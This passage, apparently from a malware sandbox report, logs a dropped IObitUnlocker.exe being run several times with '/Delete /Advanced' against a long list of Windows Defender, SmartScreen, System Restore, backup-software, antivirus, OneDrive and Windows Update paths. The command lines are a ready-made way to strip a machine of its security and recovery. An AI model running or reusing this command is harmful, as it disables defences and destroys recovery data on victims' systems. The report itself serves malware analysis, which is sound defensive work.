er.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:1224
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4332
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames"